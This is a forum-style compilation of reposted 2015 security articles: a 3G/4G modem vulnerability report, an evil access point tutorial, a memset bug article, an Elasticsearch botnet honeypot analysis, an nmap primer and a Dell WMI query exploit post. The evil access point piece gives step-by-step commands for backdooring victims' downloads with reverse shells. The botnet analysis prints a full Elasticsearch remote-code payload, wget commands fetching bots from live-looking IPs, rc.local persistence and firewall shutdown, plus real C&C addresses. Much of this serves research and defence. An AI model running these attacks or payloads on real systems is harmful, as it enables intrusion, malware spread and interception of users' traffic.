Nytro

Critical Vulnerabilities in 3G/4G Modems or how to build Big Brother This report is the continuation of "#root via SMS", a research made by the SCADA Strangelove team in 2014. It was devoted to telecommunications equipment vulnerabilities with modem flaws only partially covered. This document describes vulnerabilities found and exploited in eight popular 3G and 4G modems available in Russia and worldwide. The findings include Remote Code Execution (RCE) in web scripts, integrity attacks, Cross-Site Request Forgery (CSRF), and Cross-Site Scripting (XSS). The research covers a full range of attacks against carrier customers using these types of modems — device identification, code injection, PC infection, SIM card cloning, data interception, determining subscriber location, getting access to user accounts on the operator's website, and APT attacks. Equipment We analyzed eight modems of the following vendors: Huawei (two different modems and a router) Gemtek (a modem and a router) Quanta (two modems) ZTE (one modem) Not all the modems had vulnerabilities in their factory settings; some of them appeared after the firmware was customized by the service provider. For convenience, let's call all the network equipment — both modems and routers — collectively, "modems". Statistics on Vulnerable Modems The data was gathered passively from SecurityLab.ru between 01/29/2015 and 02/05/2015 (one week). Our statistics lacks information about Huawei modems, but it can be easily found at shodan.io: Vulnerabilities Detected All the modem models investigated had critical vulnerabilities leading to complete system compromise. Virtually all the vulnerabilities could be exploited remotely (see the "Modems" table). Description of the detected vulnerabilities ranked by severity: 1. RCE (five devices) All the modem web servers are based on simple CGI scripts that are not properly filtrated (except for Huawei modems, and even then only after a few security updates since the vulnerabilities have been disclosed). All the modems work with the file system — they need to send AT commands, read and write SMS messages, configure firewall rules, etc. Almost no devices had CSRF protection, which allowed remote code execution by power of social engineering and remote requests through a malicious website. Some modems were also vulnerable to XSS attacks. Combined, these three factors produce a disappointing result — more than 60% of the modems are vulnerable to Remote Code Execution. You could get an updated firmware without all found vulns for only Huawei modems (there's a public description of the vulnerabilities). The other vulnerabilities are still considered to be zero-day. 2. Integrity Attacks (six devices) Only three modems were protected against arbitrary firmware modifications. Two of them had the same integrity check algorithms (asymmetrically encrypted SHA1 with RSA digital signature), and the third one used the RC4 stream cipher for firmware encryption. All the cryptographic algorithms proved to be vulnerable to attacks violating integrity and confidentiality. In the former case, we can modify the firmware by injecting an arbitrary code. In the latter case, given the weak implementation of the algorithm, we managed to extract the encryption key and determine the encryption algorithm, which also allows firmware modification. The other three modems had no protection from integrity attacks, but a local access to COM interfaces was required to update the firmware. The remaining two modems could be updated only though the carrier's network via Firmware Over-The-Air (FOTA) technology. 3. CSRF (five devices) CSRF attacks can be used for various purposes, but the primary ones are remote upload of modified firmware and successful arbitrary code injection. Using unique tokens for each request is an efficient protection against this type of attacks. 4. XSS (four devices) The scope of this attack is quite wide — from host infection to SMS interception. However, our research focuses mainly on its prime target — modified firmware upload bypassing AntiCSRF checks and the Same-Origin Policy. Attack Vectors 1. Identification First, you need to identify a modem for a successful attack. You can send all kinds of requests to exploit RCE or try to upload various updates via all the possible addresses, but it seems to be inefficient and too signally for a target user. The time of infection — from user detection to code injection, modification of modem settings, etc. — is also quite important in the real (not simulated) conditions. For this very reason, you need to identify the target device properly. To do that, you must use a simple set of picture addresses, which can tell you the model of the modem. This method helped us to identify all the investigated modems 100%. An example of the code: 2. Code Injection This stage is described in the previous section, points 1 and 2. The code can be injected either though RCE in web scripts, or though uploading infected firmware. The first method allowed us to penetrate five modems, it isn't that complicated. Let's describe the vectors of the second method in detail. Two modems used the same algorithm to protect firmware integrity: the digital signature of SHA1 hash sum by an asymmetric RSA key was carried out via an OpenSSL library. The verification was incorrect: after uploading the firmware (an archive), the web server extracted two main files from it — the one specifying the size of the verified data and the one with the signed hash sum. Next, the verification script obtained a public key from the file system and sent a request to OpenSSL functions to decrypt signature and compare hashsum. If hashsums were the same, the update was installed. The firmware compression algorithm had a feature — you could add additional files with the same names to the archive, but its first bytes wouldn't change. In addition, when we extracted the firmware, the later files overrode the earlier files. This allows changing the firmware without affecting data integrity checks. The firmware of the third modem was encrypted by the RC4 algorithm with a constant keystream. As there were three different firmware versions on the Internet, you could get several bytes of plain text where there were bytes 0x00 in a file of the unencrypted firmware. Then, we extracted the ISO image of the modem's virtual CDROM, which allowed us to decipher the first several kilobytes of the each firmware image. They contained the encryption algorithm and address of the encryption key. By XORing the two pieces of firmware, we obtained the plain text of the key itself. Dmitry Sklyarov, an experienced cryptanalyst and reverse engineer from Positive Technologies, helped us a lot to conduct attacks against cryptographic protocols. You can use CSRF for remote upload and HTML5 functions for transferring multipart/form-data, or XSS if an application is protected against CSRF (Huawei modem). Only three Huawei modems had this kind of protection, which could be bypassed via XSS, though. In all other cases, an attacker could use the HTML5 code located on a special web page (you can download an example fromhttp://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html). Gemtek modems required a special utility for firmware updates installed on PC. In this case, firmware was uploaded though host internet connection via HTTP. After that, the firmware integrity was verified by checksums uploaded from the server. We failed to test this scenario. However, it’s no use hoping that a vendor that doesn't properly check firmware integrity during upload protects it well enough. 3. Data Interception Now we can execute an arbitrary code on the modem. You need to do three things: determine the modem’s location (later you will understand why) plus be able to intercept SMS messages and HTTP/HTTPS traffic. The easiest way to determine location is to find the base station identifier (CellID). Then, with the operator’s MCC and MNC at hand, you can determine the victim’s exact location by means of some public bases, such as opencellid.org. Another method is to use the modem’s Wi-Fi card to scan nearby networks and determine the victim’s location area more accurately, given that one base station may have quite a broad coverage. We managed to obtain the CellID of six modems; Wi-Fi was available in two devices. We had to recompile and upload new network card drivers for one of the modems. Its previous driver allowed only the Ad Hoc mode, which prevents scanning nearby APs. We studied two types of modems: with and without SMS support. The first type also didn’t allow SMS reading though AT commands. The second type allowed SMS reading via XSS. The messages are usually stored in the file system, and it’s not so difficult to get access to them for reading or sending SMS messages and USSD requests. Traffic interception is more interesting. There are several ways to do that: by changing the modem’s DNS server settings, or replacing the modem’s gateway with the Wi-Fi interface and connecting to an hacker’s access point (that’s why you should know the victim’s location). The first method is simpler: changing the settings is a piece of cake, as they are also stored in the file system. We managed to do that for all but one modem. We studied the second method only in theory — switching the network card mode from ad hoc to active, connecting to an access point, and changing modem routing. Not only HTTP traffic can be intercepted. By injecting and executing a VBS code on an HTML page, you can add your certificate to the Trusted Root Certification Authorities and successfully conduct MITM attacks: 4. SIM Card Cloning and 2G Traffic Interception The attacks against SIM card applications were described in detail by Karsten Nohl and in the “#root via SMS” research. We still have to send binary SMS messages to SIM cards, as we failed to make modems send commands to SIM card applications via APDU. It’s not that bad, though — by injecting an arbitrary code to a modem, you can extend the attack scope by means of binary SMS messages. Firstly, you can now send these messages “to yourself” from the target SIM card via the AT interface by switching the modem to the test mode and working with the COM port. You can do that in the background —the web interface will be available to the victim, who will hardly notice mode changeover. Secondly, you need to exchange data with the COM port via injecting a VBS code to the modem page and executing it with user rights with the help of social engineering. Switching the modem to the test mode The PowerShell script for sending a binary SMS message Using FakeBTS is the next attack vector, and you also need to know the victim’s location for it. Having the victim’s exact location and IMSI at hand, we can use a fake base station nearby and wait until the subscriber connects to us, or we can force a base station (it is possible for five devices). If the operation is successful, we will be able to send binary SMS messages to the target SIM card without any restrictions from the operator. 5. PC Infection If we penetrate a modem, we have very few attack vectors. However, infecting a PC connected to the modem provides us with many ways to steal and intercept the PC user's data. You may have already heard of the main infection vector — bad USB. There are also some other methods involving social engineering: Virtual CDROM. Almost all the modems have a virtual drive image that is enabled for driver installation. You need to replace the image and force its mounting. VBS, drive-by-download. Code injection to an HTML page, or forced upload of executable files as updates or “diag utilities”. Browser 0-days. As an example, we used Adobe Flash 0-day found in the archives of Hacking Team. Vulnerable client software. One of the operators delivered vulnerable diagnostic software together with its modems, which allowed executing an arbitrary code on Windows and OS X PCs. Reference: we'd like to give a special thanks to Mikhail Firstov from Headlight Security for detecting this vulnerability. Random Code Execution in the client software of a modem 6. APT Attacks After infecting the modem and host, you need to stay in the systems somehow — save changes in the modem's even after it is switched off and prevent further firmware updates. It would be useful to detect and infect other vulnerable modems as soon as they will be connected to the PC. Most of the devices can be infected right at the phone store during "checking before buying". There was another attack we failed to conduct — accessing the modem from the operator's network. Most vulnerable web servers listen at *:80, i.e. there's a chance that the modem's web server will be available from the operator's network. Only a few modems restrict connections incoming from the telecom's network or specify the address for listen 192.168.0.1:80. 7. Additional Information We also studied getting access to a personal account by sending a USSD request and resetting password via an SMS message. This vector was demonstrated during the "#root via SMS" presentation. The vulnerability was exploited through an XSS attack that could be conducted by sending an SMS message. However, an attacker can also do that in modems that allow SMS reading via RCE. XSS exploitation results Summary All in all, we have a full infection cycle of devices and related PCs. Using the infected devices, we can determine location, intercept and send SMS messages and USSD requests, read HTTP and HTTPS traffic (by replacing SSL certificates), attack SIM cards via binary SMS messages, and intercept 2G traffic. Further infection can continue through the operator's networks, popular websites or equipment infected by worms (when connecting a new device). What can we recommend to those clients who constantly work with such devices? Huawei modems with the latest firmware updates are the most protected. It is the only company that delivers firmware (the operators are only allowed to add some visual elements and enable/disable certain functions) and fixes vulnerabilities detected in its software. ? Modems Information Disclosure Although 90 days had left since the service providers were informed of the vulnerabilities, many flaws remained unfixed. Credits: Alexey Osipov, Dmitry Sklyarov, Kirill Nesterov, Mikhail Firstov, and the SCADA Strangelove team (http://scadasl.org) Author: Positive Research ?? 6:10 AM Sursa: http://blog.ptsecurity.com/2015/12/critical-vulnerabilities-in-3g4g-modems.html

EVIL ACCESS POINT WITH AUTO-BACKDOORING FTW! This post is about setting up an evil access point that will automatically backdoor executables that connected users download. Pretty neat, right? This tutorial is inspired by muts' NetHunter video of BDFProxy on NetHunter. I am using Kali NetHunter 2.0 running from a Nexus 9. I am using a TP-LINK TLWN722N (the 150Mbps version) as my secondary network interface. I recently purchased a Nexus 9 tablet and decided to load it up with Kali NetHunter. NetHunter is a release of Kali made specifically for hackers on-the-go. It’s packed with lots of cool stuff like one-click scripts, HID Keyboard attack capabilities plus a bunch of the tools that Kali desktop comes with. Tools A few tools I will be using: Mana – Rouge Access Point toolkit. It implements a more advanced version of the Karma attack. The most notable improvement is Mana responds to other AP broadcasts instead of device probes like Karma, but still with the end goal of tricking victims into connecting to the AP you own. Plus, it includes lots of other neat evil AP tricks that are baked right in. For more info on Mana I’d recommend watching the Defcon 22 talk where the tool was release here. BackdoorFactory BDFProxy – Automatically patches binaries with malicious payloads on the fly via MITM. False Start Since I want to also provide victims with Internet access so I can backdoor their downloads I will need another Wi-Fi interface on my Nexus 9. I ended up going with the TP-LINK TLWN722N because of its low power usage and its compatibility with Kali (supports packet injection). I launched the Kali NetHunter menu and saw a promising looking menu item: Kali NetHunter comes with Mana already installed and ready to go, or so I thought. Chances are I was doing something wrong, but I was not able to get the built-in one click launcher working out of the box. It even contained a screen for bdfproxy.cfg! When I started it there was even the option to start with bdf: But no dice. Even after correcting my upstream device from eth0 to wlan1 and double checking the dhcpd settings in the config file I couldn’t get the thing to run. I couldn't seem to find the output of either Mana or BDFProxy in the logs either. Setting Up So, off to the terminal! Home sweet home. I went into the Mana folder and skulked around a little bit: cd /usr/share/mana-toolkit/run-mana ls –lah Aha! The start-nat-simple-bdf-lollipop.sh looks promising. Let’s have a look: Everything looks pretty straightforward actually, which was pleasantly surprising. I never know what to expect with new tools. We assign some variables for devices, enable forwarding, start an access point and DHCP, monkey with the iptables and off we go. The only thing that stumped me at first was the “# Add fking rule to table 1006”. There are some config files mentioned in there. Let’s make sure they are set up properly. First stop is /etc/mana-toolkit/hostapd-karma.confg: Next let’s look at /etc/mana-toolkit/dhcpd.conf: Looks like we’re using Google for DNS and putting our clients on the 10.0.0.0/24 range. Cool beans. Let’s also take a look at the BDFProxy config file at /etc/bdfproxy/bdfproxy.cfg (config file below truncated to the important parts): Looks like there is something slightly off here. The IPs configured for our reverse shells (192.168.1.168 and 192.168.1.16) need to point back to us. According to our dhcpd.conf settings we're going to use the current settings aren't correct. We will be the router IP named in dhcpd.conf, so we need to change bdfproxy.cfg accordingly by setting all the HOSTs to point to us at 10.0.0.1. Quick replace with sed: sed –i 's/192.168.1.168/10.0.0.1/g' bdfproxy.cfg sed –I 's/192.168.1.16/10.0.0.1/g' bdfproxy.cfg The diffs: Starting up the Machine Ok, so it’s time to start Mana up: cd /usr/share/mana-toolkit/run-mana ./start-nat-simple-bdf-lollipop.sh In a new terminal we start BDFProxy up: cd /etc/bdfproxy/ ./bdfproxy Now that BDFProxy is up it has created a Metasploit resource file. It wasn’t entirely obvious at first where this file lived (it is not in /etc/bdfproxy/). It turns out the file is here: /usr/share/bdfproxy/bdfproxy_msf_resource.rc That resource file will help handle reverse shells. Time to open another terminal, navigate there and start up Metasploit: cd /usr/share/bdfproxy service postresql start cat bdf_msf_resource.rc #sanity check of conents, make sure IP update took msfconsole –r bdfproxy_msf_resource.rc After Metasploit is fired up we can see the resource file has loaded: Sweetness. Here is where I got stuck for a little bit. It appeared everything is set up and working properly. Mana was creating APs and I could connect and get back out to the internet. Iptables set up by Mana are correctly forwarding my traffic from port 80 to 8080 where BDFProxy is waiting. The problem is BDFProxy is failing to transparently proxy connections (mitmproxy underneath is actually failing). I got this error on all HTTP connections from my laptop test machine connected to the evil AP: HttpError('Invalid HTTP request form (expected: absolute, got: relative)',) It turns out I missed changing one of the default bdfproxy.cfg settings. The line transparentProxy = NoneNeeds to be changed to: transparentProxy = transparentAfter that BDFProxy was able to successfully backdoor executables. I connected to the AP with my laptop and download a file over http. I downloaded Audacity, and also tested with downloading Putty and PSFTP. Once BDFProxy gets its hooks in the backdoor is dropped in place: Here is the part that blew me away: executables within zips are backdoored, all done on the fly. How cool is that? For executable formats it not only works for Windows exe/PEs, but it does Linux ELF and Mach-O (that means you OSX!). Very cool stuff. - UPDATE 11/29/15: I've added some more content about BDFProxy in a new post here. 19 NOVEMBER 2015 Sursa: http://decidedlygray.com/2015/11/19/evil-access-point-with-auto-backdooring-ftw/

The most dangerous function in the C/C++ world 03.12.2015Andrey Karpov Couple of words about me New observation. Examples Conclusion After checking hundreds of various C/C++ projects I can claim: memset() is the most inefficient and dangerous function. Most errors that I see in the projects are related to the usage of this particular memset() function. I understand that my conclusion is probably neither a revolutional one, nor an extremely useful one, but I think our readers would be interested to find out why I have come to it. Couple of words about me My name is Andrey Karpov. I do a lot of things in my life. But the main thing what I do is tell the programmers about the benefits of using static code analysis. Of course I do it pursuing an additional goal - I try to raise interest in PVS-Studio. However, this should not lessen the usefulness of my articles. The only form of advertising that can pierce through the armor of programmers' skepticism is the demonstration of the bugs that were found by PVS-Studio. For this purpose I run the analyzer on a big number of projects and write articles about the check results. This brings common benefits. Open-source projects are gradually getting better, and our company is obtaining new customers. You'll see what I'm leaning to. Doing numerous checks of open-source projects, I have gathered a pretty big collection of various bug examples. And now, based on it, I see interesting error patterns. For example, one of the most amusing observations was that most often programmers make mistakes using Copy-Paste at the very end. On this topic there is an article "The Last Line Effect" for those who may be interested. New observation. Now I have another interesting observation. Using one or another function, the programmers can make mistakes. That is clear, you may say. But the probability of the error may also depend on the function. In other words, some functions provoke errors, and some don't. And now I am ready to name the function which causes most of the troubles and using which you have the biggest chance of an epic fail. So, the biggest looser among the functions is the memset function! It's hard to say where is the root of this evil. Apparently it has an unfortunate interface. On top of it, its very usage is quite toilful and it's very easy to get wrong, evaluating values of the actual arguments. The second "Biggest looser" award goes to the printf() function and its variants. I guess it's no surprise. Only lazy people won't write about the danger of the printf() function. Probably the popularity of the issues related to the printf() functions brought it to the second place. All in all there are 9055 bugs in my storage. These are errors that PVS-Studio is able to detect. It is clear that this list is far being a complete one. However, such a large number of bugs allows me to be confident, making such statements about the functions. So, I figured that 329 errors are caused by the memset() function. In sum total, about 3,6% of bugs are related to this function! That's a lot, I should say. Articol complet: http://www.viva64.com/en/b/0360/

ElasticZombie Botnet - Exploiting Elasticsearch Vulnerabilities [TABLE=class: blogpost-byline, width: 621] [TR] [TD=class: blog-author]Markus Manzke December 2, 2015[/TD] [TD=class: blog-social][/TD] [/TR] [/TABLE] With the rise of inexpensive Virtual Servers and popular services that install insecurely by default, coupled with some juicy vulnerabilities (read: RCE - Remote Code Execution), like CVE-2015-5377 andCVE-2015-1427, this year will be an interesting one for Elasticsearch. Elasticsearch provides plenty of targets for people to exploit and create server-based botnets but in fairness it is not only Elasticsearch that suffers from critical vulnerabilities there is also ShellShock, mongodb-exploits and very recently a bug that hit WebSphere, JBoss, Jenkins and OpenNMS. This blog post analyzes what happens if you run a vulnerable service that is connected to the internet resulting in your server becoming a compliant member of a botnet. With our analysis we concentrate on how the infection happens, what the bots are doing and whom they communicate with, but not the code itself. For a nice read on dissecting Linux-based malware we'd suggest you read the articles from @MalwareMustDie. Over a period of 3-months we collected more than 30 different bots, giving us enough interesting stuff to play with and analyze. Exploits against ElasticZombie - Honeypots, 30 days Setup This past summer we rolled out some honeypots, designed to simulate Elasticsearch installations that are vulnerable to the latest RCE vulnerabilities, which enabled us to track and record each phase of an exploit and catch the malware to analyze what it does when executed. The Honeypots themselves consisted of a real Elasticsearch server, and we used nginx and lua to detect and record the exploits in GET or POST requests. This allowed us to correlate and track activities, as well as bad actors across all of our honeypots. In the next blog post, we will provide details of the botnet-infrastructure. Within 3-4 days after setup, the first scanners hit some Shodan-scanners and vuln-crawlers from organizations and universities, but also from IPs with no PRT.. A few days after setup we saw the first exploit attempts that allowed ups to fine-tune our setup. Categorizing the Bots The Bots we collected were ELF-executables, mostly 32-bit-binaries that wouldn’t run on a pure x64-server, but also some 64bit-versions, in opposite the perl-bots Conor Patrick caught this also with a ShellShock-Honeypot some weeks ago. Half of the 30+ bots we collected didn’t run; the remaining 15 bots could be classified into 2 different categories: fBots: Fire & Forget - DDoS-Bots (most of them) that just execute without further installation iBots: more sophisticated bots who install themselves in /etc or /var that can download more modules/bots and delete the original file The fBots are well known and nothing new and are sometimes referred to as BillGates/BillGates.lite: xwdl/xoxo - VT - 26 / 57 udp/syn2500 VT - 27 / 56 ssss/508 VT - 12 / 56 iBots, also referred to as IptabLex/IptabLes, have been around for quite some time and were wellanalyzed in May 2014 and again in June 2015 by MalwareMustDie. yf2: VT - 21 / 56 -rwxr-x--- 1 bware bware 1315556 Nov 22 11:13 68089 -rwxr-x--- 1 bware bware 1312420 Nov 23 08:43 508 -rwxr-x--- 1 bware bware 1312292 Aug 13 02:36 ssss -rwxr-x--- 1 bware bware 1223123 Nov 22 11:35 04 -rwxr-x--- 1 bware bware 1223123 Sep 15 08:02 syn25000 -rwxr-x--- 1 bware bware 1223123 Sep 17 13:09 udp -rwxr-x--- 1 bware bware 1223123 Dez 2 2014 vpcinull -rwxr-x--- 1 bware bware 1128800 Nov 20 13:58 xdg1 -rwxr-x--- 1 bware bware 1128800 Okt 6 13:33 xdwl -rwxr-x--- 1 bware bware 1128800 Dez 13 2013 xoxo -rwxr-x--- 1 bware bware 841596 Nov 24 08:10 libvent -rwxr-x--- 1 bware bware 727556 Okt 7 08:24 yf2 -rwxr-x--- 1 bware bware 87600 Nov 23 17:56 TcT What we observed among all the bots is that their DNS names for C&C-servers, ports and fallbacks were obfuscated and are not available in plaintext when extracting the strings from the executables. Interestingly, Akamai released an analysis on XORDDoS-Botnets, performing DDoS-attacks, and it could be the case that the bots we collected are hiding such interesting information, but we did not analyze the code of the bots further, so we cannot say for sure. Stage 1: Scan & Exploit! Coming from stage 0 (scans that are merely just GET / - requests) there is a simple way for an attacker to land an exploit: just three requests and you are owned. The following shows one attack, stripped down to the commands executed (you'll find a full exploit in the Appendix below): -- download the bots 00:46:39 [alert] request: wget -O /tmp/yf1 http://114.215.149.148/yf1 00:46:40 [alert] request: wget -O /tmp/yf2 http://114.215.149.148/yf2 -- hours later ... executing the bot 05:03:21 [alert] request: chmod 777 /tmp/* 05:03:22 [alert] request: chmod 777 /tmp/yf2 & 05:03:22 [alert] request: chmod 777 /tmp/yf1 & 05:03:23 [alert] request: /tmp/yf2 & 05:03:23 [alert] request: nohup /tmp/yf2 > /dev/null 2>&1 05:03:24 [alert] request: /tmp/yf1 & 05:03:24 [alert] request: nohup /tmp/yf1 > /dev/null 2>&1 -- making changes persistent to start the bot upon next -- reboot and shutdown the firewall 05:03:25 [alert] request: echo \"cd /tmp/\">>/etc/rc.local 05:03:25 [alert] request: echo \"/tmp/yf2\">>/etc/rc.local 05:03:26 [alert] request: echo \"/etc/init.d/iptables stop\">>/etc/rc.local 05:03:26 [alert] request: echo \"/tmp/yf1\">>/etc/rc.local 05:03:27 [alert] request: echo \"/etc/init.d/iptables stop\">>/etc/rc.local At this point if you had a vulnerable ElasticSearch instance running you'd be considered hacked, and if you ran it as Root the infection would be persistent and survive a reboot. Stage 2 : Calling Home After execution, the bots request the IP of their current C&C master. Most bots we've seen are using a DNS-name to get the IP, while we also observed some bots using included IPs, especially when no DNS-servers could be reached. Bot communication - getting the IP of the current C&C After getting the current IP, some traffic from the bot could be observed, including an identifier and some information about the system the bot runs on, reporting "On duty, Sire!" -- some identifiers, send by bots to their masters -==Healer==- Linux 3.16.0-0.bpo.4-amd64 2.40 -==ruirui ==- Linux 3.16.0-0.bpo.4-amd64 2.40 Linux 3.16.0-0.bpo.4-amd64 root 4*2494MHZ 3688MB 0M 172.17.0.104 Bot-Communication, reporting into the botnet After reporting itself "ready" the bots pings the master every 5 seconds, waiting for commands and targets to attack, while transmitting its own status every 30 seconds. Bot-Communication, keep-alive-pings and status-reports One variant (ssss) of those fBots occasionally requested and downloaded a file (amp.dat) from the server it initially got the bot from (http://111.74.239.61:8080/ntp.txt ); the latest version of this file consited of 14000+ IPs; it might be a list of servers that might be misused for amplification/reflection-attacks. We're not yet done checking all the IPs, but will deliver this analysis later in a a future blog post. Stage 3: Attack! When the C&C master promotes a new target, it's sent over to the client with a single package and the show begins: Bot-Communication, getting target-IP and attack-start What we've seen among all fBots: once the boss receives a target-IP it immediately fires just traffic (SYN-flood) onto a given port, either HTTP, MYSQL or otherrandom ports. The bots fire on max-speed, so any traffic originating from an infected server should easily be detected if the dc-operator enforces thresholds or monitors outgoing traffic. You definitely will see spikes. Some notes on infection-workflow and botnet-infrastructure A closer look on the operation of the whole botnet-infrastructure revealed an interesting workflow that functions as follows: Scanners crawl the internet, searching for vulnerable Elasticsearch-installations; once they find one they start to execute an exploit The exploit downloads a bot from different server that hosts various bots and files After download, the scanning-server executes the bot on vulnerable installations If the bot runs, it requests the IP for the C&C-master or uses a hardcoded IP and reports itself as ready, waiting for commands Upon receiving the attack-command and the IP of a target, the attacks start Thus we see a distributed infrastructure, controlled by the botmasters to create and operate botnets. In a follow-up blog we'll take a closer look on the botnet-infrastructure itself, and analyze it more deeply. The OTX pulses we created are: ElasticSearch-Botnet C&C-Master DNS-Names ElasticSearch-Botnet C&C-Master IPs ElasticSearch Botnet - Botware Download URLs Footnotes it will be exploited, the question is not IF, but WHEN; scanners are scanning, 24/7 References Shodan: It's the Data, Stupid! A few things about Redis security Elasticsearch CVE-2015-5377 What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution MMD-0025-2014 - ITW Infection of ELF .IptabLex & .IptabLes China #DDoS bots malware A close look at an operating botnet MMD-0035-2015 - .IptabLex or .IptabLes on shellshock.. sponsored by ChinaZ actor Akamai: Threat Advisory: XOR DDoS Appendix Full exploit-code, as seen by our honeypots request: "GET /_search?source={"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/yf2 http://111.222.333.444/yf2\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1} HTTP/1.1", host: "my.boy.lollipop:9200"Domains queried to get C&C - IPs -- fBots www.zhimingge.in yy.zhimingge.in www.3xdk.com fk.appledoesnt.com www.3xdk.com-- iBots 00120012.3322.orgList of servers that hosts various versions of bots (bot-providers) http://111.74.239.61:8080/ssss http://111.74.239.61:8080/ntp.txt ? ntp-servers http://198.15.216.27:2015/xdg1 http://111.74.239.61:8080/68089 http://111.74.239.61:8080/04 http://61.160.221.139:8000/xoxo http://222.186.30.247:8080/udp http://222.186.34.177:5656/vpcinull http://222.186.31.248:53/libvent http://114.215.149.148/yf2 current C&C-IPs from the bots we executed and analyzed 23.234.50.12 61.160.194.62 61.160.221.139 103.105.144.172 108.171.252.20 113.105.144.172 183.60.202.75 222.186.15.92 222.186.30.247 222.186.34.177 222.186.21.106 222.186.190.233 222.186.56.15 About the Author Bio: Markus Manzke is a Security Analyst with a German partner of AlienVault's, 8ack. Please follow 8ack on Twitter. Sursa: https://www.alienvault.com/open-threat-exchange/blog/elasticzombie-botnet-exploiting-elasticsearch-vulnerabilities

Port Scanning 101 Author - Natalia Wadden Matrix Reloaded, Bourne Ultimatium and a brief glimpse in Girl with the Dragon Tattoo – these are just a few movies which feature a port scanning technique called nmap. Before we go to far, let’s define nmap. It sounds glamorous, it must be, it is featured in at least 3 major Hollywood films. Nmap aka Network Mapper is a security scanner that is used to detect hosts and services on a computer network – in short it can determine which ports are open, what the operating system (OS) and version is, services that are offered, and what firewalls are used – basically it can create a map of the computer network and hosts. Nmap is portable, it can be used across multiple platforms, Windows, Mac and Linux, but it is most commonly used in Linux. For this article, I will be using Kali Linux, it’s easy and many tools are already built into the OS. My mentor described ports as windows in a building, which means that nmap is looking for the open windows aka ports. So let’s dive in and scan our test machine and see if we can find any open ports. Our simple nmap scan provided us with a significant amount of information, this can be over whelming if you don’t know what to look for – let’s try to break it down. Nmap has shown us that each of these ports are open via the 3 way TCP handshake. A SYN was sent to an open port, in the case above port 80 (web) and responded with a SYN ACK, the client answered SYN ACK with an ACK, thereby completing the response. An open port 80 is not uncommon, many websites have this open as they require it as part of their business, for example, Amazon, Ebay and Google, all have port 80 open, if they weren’t open nobody could see their website. Now let’s try this again but use a UDP (User Datagram Protocol) scan along with nmap, and see what happens. UDP scan does not require the 3 way handshake, which means a request will be sent out, but a response is not necessairly received, there is no guarentee of delivery. UDP is typically used for streaming audio media and real-time video as it is designed to handle occasional lost packets, so only slight degradation in quality occurs, rather than large delays if lost packets were retransmitted. The results of our UDP nmap scan above provides us with a datagram of possible vulnernabilities, ports which if we were curious could continue investigating, such as Port 53, Port 69 , Port 137 and Port 2049 – if we listen to these ports, we potentially might be pleasantly surprised with what we find. Let’s do one more, let’s see if we can find out what versions are running on each port. Let’s try another one, this time, this time, type in nmap man, this will bring up the nmap manual. In our next example, let’s try a built-in shorthand for the most popular options "-A". This type of scan provides additional information about the remote system to the ports provided by a typical nmap scan. Take a close look at the results of our scan - With a simple command, we have now discovered the OS version, the various hosts as well as the version of Tomcat. Nmap is used by many individuals, and not all of them are “bad”, some are malicious individuals looking to sniff around networks looking for open ports, to get information, others are security professionals, using nmaping to conduct penetration testing to safely exploit system vulnerabilities to evalute the security. Sursa: http://www.adeptus-mechanicus.com/codex/contrib/nw-ps101/nw-ps101.php

[h=3]Thoughts on Exploiting a Remote WMI Query Vulnerability[/h] On December 1, 2015, a really interesting vulnerability was disclosed in the Dell Foundation Services software. If installed, a SOAP service will listen on port 7779 and grant an attacker the ability to execute unauthenticated WMI queries. I can’t say I’ve ever encountered such a vulnerability class so this posed an interesting thought exercise into how an attacker might effectively exploit such a vulnerability beyond just using the queries to conduct host recon. Specifically, this vulnerability only allows an attacker to query WMI object instances within the default namespace – ROOT/CIMv2. This means that you cannot invoke WMI methods or perform event registration - i.e. this is not a remote code execution vulnerability. I released a PoC PowerShell exploit that allows you to easily view and parse WMI query output from a vulnerable host. The script could be used to test the exploit locally assuming you have a Dell computer to test on. The vulnerable software can be obtained from Dell. Specifically, the vulnerable function is contained withinDell.Tribbles.Agent.Plugins.SystemInfo.dll. So what kinds of things could an attacker do that would give them the greatest bang for their buck? For starters, let’s say you wanted to list all available classes within the ROOT/CIMv2 namespace as a means of determining the attack surface? PS C:\> Get-DellFoundationServicesWmiObject -IPAddress 127.0.0.1 -Query 'SELECT * FROM Meta_Class' What you will find is that there is a sea of WMI classes. We’ll need to find the diamonds in the rough. Here is an extremely non-comprehensive list of what I came up with in conjunction with Sean Metcalf and Carlos Perez: File listing for a specific directory. e.g. C:\ or search by extension SELECT * FROM CIM_DataFile WHERE Drive="C:" AND Path="\\" SELECT * FROM CIM_DataFile WHERE Extension="xlsx" Process listing (including command-line invocation which could possibly include credentials) SELECT * FROM Win32_Process List all services SELECT * FROM Win32_Service Account/group enumeration SELECT * FROM Win32_Account SELECT * FROM Win32_UserAccount SELECT * FROM Win32_Group SELECT * FROM Win32_LoggedOnUser List startup programs present in the registry and Start Menu SELECT * FROM Win32_StartupCommand OS/Hardware info SELECT * FROM Win32_BIOS SELECT * FROM Win32_ComputerSystem # Uptime, logged-in user, etc. SELECT * FROM Win32_OperatingSystem Hard disk enumeration SELECT * FROM Win32_DiskDrive SELECT * FROM Win32_DiskPartition SELECT * FROM Win32_LogicalDisk SELECT * FROM Win32_Volume SELECT * FROM Win32_MountPoint List system environment variables SELECT * FROM Win32_Environment List network devices and configurations SELECT * FROM Win32_NetworkAdapter SELECT * FROM Win32_NetworkAdapterConfiguration # Shows assigned IPs List mapped shares SELECT * FROM Win32_Share Obviously, there are a ton of classes that I may be missing that you may find to be useful but these were the ones that stood out to me. Now, beyond performing simple recon actions, what other WMI queries might be impactful, enable leaks of extremely sensitive information, enable further exploitation, or cause system instability? Here are some queries I came up with: Ping sweep. This could be used to conduct basic internal scanning. SELECT * FROM Win32_PingStatus WHERE Address="10.10.0.1" Potentially screw with MSI configurations. SELECT * FROM Win32_Product List installed patches. i.e. See determine which patches are not installed. SELECT * FROM Win32_QuickFixEngineering Dump event logs. e.g. dump System log. This is the most sensitive info leak I can think of. SELECT * FROM Win32_NtLogEvent WHERE Logfile="System" If you can think of any additional classes that would go above and beyond host recon, please let me know on Twitter! Sursa: 